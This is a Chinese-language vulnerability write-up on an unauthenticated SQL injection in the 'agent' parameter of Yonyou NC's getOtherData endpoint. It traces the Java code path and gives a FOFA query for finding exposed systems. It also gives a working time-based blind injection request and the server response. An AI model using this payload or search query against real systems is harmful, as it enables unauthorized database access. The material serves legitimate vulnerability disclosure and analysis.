用友NC getOtherData SQL注入漏洞


漏洞简介

用友 NC 是一种商业级的企业资源规划,为企业提供全面的管理解决方案,包括财务管理、采购管理、销售管理、人力资源管理等功能,基于云原生架构,深度应用新一代数字技术,打造开放、 互联、融合、智能的一体化云平台,支持公有云、混合云、专属云的灵活部署模式。聚焦数字化管理、数字化经营、数字化平台等三大企业数字化转型战略方向,提供涵盖数字营销、智能制造、财务共享、人力共享与协同,智慧采购、数字中台等18大解决方案,助力大型企业全面落地数字化和业务流程优化。用友NC getOtherData 接口处agent参数存在SQL注入漏洞,未授权的攻击者可以通过此漏洞获取数据库权限,进一步利用可导致服务器失陷。

影响版本

NC65

fofa语法

app="用友-UFIDA-NC"

漏洞分析

根据官方漏洞通告,NC系统/portal/pt/oacoSchedulerEvents/getOtherData传入的参数agent存在SQL注入

先看 modules/oaco/lib/puboaco_schedulermgr/nc/bs/oa/oaco/scheduler/action/SchedulerEventsAction.java 里 getOtherData 的实现

@Action
    public void getOtherData() throws BusinessException {
        String sch_startdate = this.getRequest().getParameter("sch_sd");
        String sch_enddate = this.getRequest().getParameter("sch_ed");
        String agent = this.getRequest().getParameter("agent");
        ISchedulerQueryService schedulerQueryService = (ISchedulerQueryService)NCLocator.getInstance().lookup(ISchedulerQueryService.class);
        String xml = schedulerQueryService.getOtherData(agent, sch_startdate, sch_enddate);
        CommonUtils.outputClientStreamWithGzip(this.getResponse(), "text/xml", xml);
    }

将前端传入的 agent 参数传入 schedulerQueryService 的 getOtherData ,跟进看下

public String getOtherData(String pkuser, String startdate, String enddate) throws BusinessException {
        return this.getDAO().getOtherData(pkuser, startdate, enddate);
    }

modules/oaco/META-INF/lib/oaco_schedulermgr/nc/impl/oa/oaco/scheduler/SchedulerEventDAO.java

最终实现如下

public String getOtherData(String pkuser, String startdate, String enddate) throws BusinessException {
        Map<String, String[]> sharingUsersMap = this.getDataOfUserSharingEvents(startdate, enddate, pkuser);
        int taskListCount = 0;
        StringBuilder sb = new StringBuilder();
        sb.append("<?xml version='1.0' encoding='UTF-8' ?>");
        sb.append("<data>");
        sb.append("<share>");
        Iterator<Map.Entry<String, String[]>> iter = sharingUsersMap.entrySet().iterator();
        String[] tmp = null;
        while (iter.hasNext()) {
            Map.Entry<String, String[]> ent = iter.next();
            tmp = ent.getValue();
            sb.append("<user><name><![CDATA[").append(tmp[0]).append("]]></name><value><![CDATA[").append(ent.getKey()).append("]]></value><color><![CDATA[").append(tmp[2]).append("]]></color><stat><![CDATA[").append(tmp[1]).append("]]></stat></user>");
        }
        sb.append("</share>");
        sb.append("<task>");
        sb.append("<count><![CDATA[").append(taskListCount).append("]]></count>");
        sb.append("</task>");
        sb.append("</data>");
        return sb.toString();
    }

pkuser 带入 getDataOfUserSharingEvents

private Map<String, String[]> getDataOfUserSharingEvents(String startdate, String enddate, String agent) throws BusinessException {
        String pk_user = StringUtils.isNotEmpty((String)agent) ? agent : (String)CommonUtils.getCurrentPkPerson();
        ICpUserQry cpuserQuery = (ICpUserQry)NCLocator.getInstance().lookup(ICpUserQry.class);
        ISchedulerCacheQueryService schedulerCacheQueryService = (ISchedulerCacheQueryService)NCLocator.getInstance().lookup(ISchedulerCacheQueryService.class);
        String whereSql = this.getWhereSqlOfUserPksOfSharedEvent(pk_user, startdate, enddate);
        CpUserVO[] cpusers = cpuserQuery.getUserByWhere("cuserid in(" + whereSql + ")");
        HashMap<String, String[]> sharingUsersMap = new HashMap<String, String[]>();
        if (cpusers == null) {
            return sharingUsersMap;
        }
        for (int i = 0; i < cpusers.length; ++i) {
            sharingUsersMap.put(cpusers[i].getCuserid(), new String[]{SQLHelper.getMuiltiLangValue((SuperVO)cpusers[i], (String)"user_name"), "false", ColorGenaretor.getColor((int)i)});
        }
        StringBuilder sb = new StringBuilder();
        for (int i = 0; i < cpusers.length; ++i) {
            sb.append("'").append(cpusers[i].getCuserid()).append("'").append(",");
        }
        if (StringUtils.isEmpty((String)sb.toString())) {
            return sharingUsersMap;
        }
        SchedulerCacheVO[] cachevos = schedulerCacheQueryService.getSchedulerCaches("sourceobj='" + pk_user + "' and targetobj in(" + SchedulerUtils.trimEnd((String)sb.toString(), (String)",") + ") and cachekey='share_color'");
        String[] tmp = null;

继续跟进 getWhereSqlOfUserPksOfSharedEvent

private String getWhereSqlOfUserPksOfSharedEvent(String pk_current_user, String start_date, String end_date) {
        String scopeSetWhereSql = "";
        try {
            scopeSetWhereSql = ScopeSetUtil.getScopeSetWhereSql((String)pk_current_user, (String)"oacoscheduler", (String)"fk_share", (boolean)true, (boolean)true, (boolean)true, (boolean)true);
        }
        catch (LfwBusinessException e) {
            Logger.error((Object)e.getMessage());
        }
        String sql = "select distinct a.pk_user from oaco_schedulerevent a  where a.pk_user <> '%s' and a.pk_event in %s";
        sql = sql + " and ('%s' between a.recurstartdate and a.recurenddate or '%s' between a.recurstartdate and a.recurenddate or a.recurstartdate between '%s' and '%s') ";
        sql = String.format(sql, pk_current_user, scopeSetWhereSql, start_date, end_date, start_date, end_date);
        return sql;
    }

返回处理后的SQL语句,其中 pk_current_user 即初始的 agent 直接拼接进SQL语句,造成SQL注入漏洞,需要注意 cpuserQuery.getUserByWhere("cuserid in(" + whereSql + ")"); SQL 语句最终拼接进此in语句里,因此复现时需要闭合单引号和此括号。

漏洞复现

GET /portal/pt/oacoSchedulerEvents/getOtherData?agent=1')and+1=dbms_pipe.receive_message('RDS',3)--&pageId=login&sch_ed=1&sch_sd=1 HTTP/1.0
Host: nc65.mrxn.net

HTTP/1.1 200 OK
Date: Thu, 13 Jan 2025 10:21:37 GMT
Server: IBM_HTTP_Server
Cache-Control: no-cache
Vary: Accept-Encoding
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close
Content-Type: text/xml
Content-Language: zh-CN
Content-Length: 108

<?xml version='1.0' encoding='UTF-8' ?><data><share></share><task><count><![CDATA[0]]></count></task></data>

成功延时 9 秒(因为会执行三次)

参考

  • https://security.yonyou.com/#/noticeInfo?id=587

手机扫码阅读

用友NC isAgentLimit SQL注入漏洞

美特CRM mcc_login.jsp SQL注入漏洞

评 论